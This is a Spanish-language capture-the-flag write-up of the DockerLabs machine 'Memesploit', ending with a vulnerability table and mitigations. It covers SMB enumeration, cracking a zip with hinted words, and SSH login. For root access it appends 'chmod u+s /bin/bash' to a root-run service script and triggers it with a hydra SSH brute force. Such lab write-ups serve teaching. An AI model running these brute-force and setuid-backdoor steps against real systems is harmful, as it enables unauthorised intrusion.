Memesploit
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Memesploit, desarrollada por d1se0 para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone un servidor con múltiples servicios accesibles, destacando un recurso SMB mal configurado, credenciales almacenadas de forma insegura y una mala gestión de permisos en servicios del sistema, lo que permite una escalada de privilegios directa hasta root.
A partir de una fase inicial de enumeración, se identifican pistas expuestas en el contenido web y servicios compartidos que facilitan la obtención de credenciales válidas. Posteriormente, se abusa de un servicio ejecutado con privilegios elevados para modificar scripts y obtener acceso administrativo completo.
Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Memesploit |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 26/06/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Memesploit.zipsudo bash auto_deploy.sh Memesploit.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Memesploit/{content,exploits,nmap,scripts}cd MemesploitPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra los siguientes servicios accesibles:
- 22/tcp — SSH
- 80/tcp — HTTP
- 139/tcp — SMB
- 445/tcp — SMB

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza fuzzing de rutas y archivos sobre el servicio HTTP:
feroxbuster -u http://172.17.0.2 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404No se identifican rutas adicionales relevantes. El archivo index presenta tres palabras oscurecidas que funcionan como pistas clave:
fuerzabrutasiemprememesploit_ctfmemehydra

1.3 Enumeración SMB
Sección titulada «1.3 Enumeración SMB»Se procede a enumerar el servicio SMB utilizando enum4linux:
enum4linux -a 172.17.0.2El resultado revela información crítica:
-
Share accesible:
share_memehydra
-
Usuario SMB identificado:
memehydra
-
Usuarios locales del sistema:
-
memesploit -
memehydra

Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Con la información recopilada y las palabras clave obtenidas previamente, se intenta acceder manualmente al recurso SMB:
smbclient //172.17.0.2/share_memehydra -U memehydraEl acceso es exitoso y se lista el contenido del recurso compartido:

Se identifica el archivo secret.zip, el cual es descargado a la máquina local.
Al intentar descomprimirlo, se solicita una contraseña, por lo que se prueban las palabras clave obtenidas previamente, logrando extraer el archivo secret.txt, el cual contiene credenciales válidas:

Estas credenciales se utilizan para acceder al sistema por SSH:
ssh memesploit@172.17.0.2El acceso es exitoso:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De memesploit → root
Sección titulada «3.1 De memesploit → root»Se verifican los privilegios de sudo asignados al usuario:

El resultado indica que es posible ejecutar como root el comando:
/usr/sbin/service login_monitor restartSe identifica el servicio login_monitor, el cual ejecuta scripts ubicados en el directorio:
/etc/login_monitor/Dentro de este directorio se encuentra el archivo actionban.sh, cuyo contenido es el siguiente:
#!/bin/bash
# Ruta del archivo que simula el registro de bloqueosBLOCK_LOG="/tmp/block_log.txt"
# Función para generar una IP aleatoriagenerate_random_ip() { echo "$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1))"}
# Generar una IP aleatoriaIP_TO_BLOCK=$(generate_random_ip)
# Mensaje de simulaciónMESSAGE="Simulación de bloqueo de IP: $IP_TO_BLOCK"
# Mostrar el mensaje en la terminalecho "$MESSAGE"
# Registrar el intento de bloqueo en el archivoecho "$(date): $MESSAGE" >> "$BLOCK_LOG"
echo "El registro ha sido creado en $BLOCK_LOG con la IP $IP_TO_BLOCK"Para poder modificar el script, se cambia temporalmente el nombre del archivo y posteriormente se restaura, lo que permite modificar sus permisos. Al final del archivo se añade la siguiente línea:
chmod u+s /bin/bashA continuación, se reinicia el servicio:
sudo service login_monitor restartEl script se ejecuta automáticamente al detectar intentos fallidos de autenticación. Para forzar su ejecución, se lanza un ataque de fuerza bruta contra SSH:
hydra -l memesploit -P rockyou.txt ssh://172.17.0.2 -t 64El ataque puede detenerse casi de inmediato. Finalmente, se ejecuta una shell con privilegios elevados:
bash -pObteniendo acceso como root:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Recurso SMB expuesto sin controles adecuados | Crítica | Filtración de información sensible |
| Almacenamiento inseguro de credenciales | Crítica | Acceso no autorizado al sistema |
| Uso de contraseñas débiles | Alta | Compromiso de cuentas locales |
| Permisos inseguros en scripts ejecutados por root | Crítica | Escalada directa de privilegios |
Servicios reiniciables vía sudo sin validación | Crítica | Ejecución arbitraria como root |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Restringir el acceso a recursos SMB y aplicar autenticación adecuada.
- Evitar almacenar credenciales en archivos comprimidos sin protección robusta.
- Aplicar políticas de contraseñas fuertes y únicas para todos los usuarios.
- Asegurar que scripts ejecutados por servicios críticos no sean modificables por usuarios no privilegiados.
- Limitar estrictamente los comandos permitidos mediante
sudo. - Auditar periódicamente servicios del sistema y permisos asociados.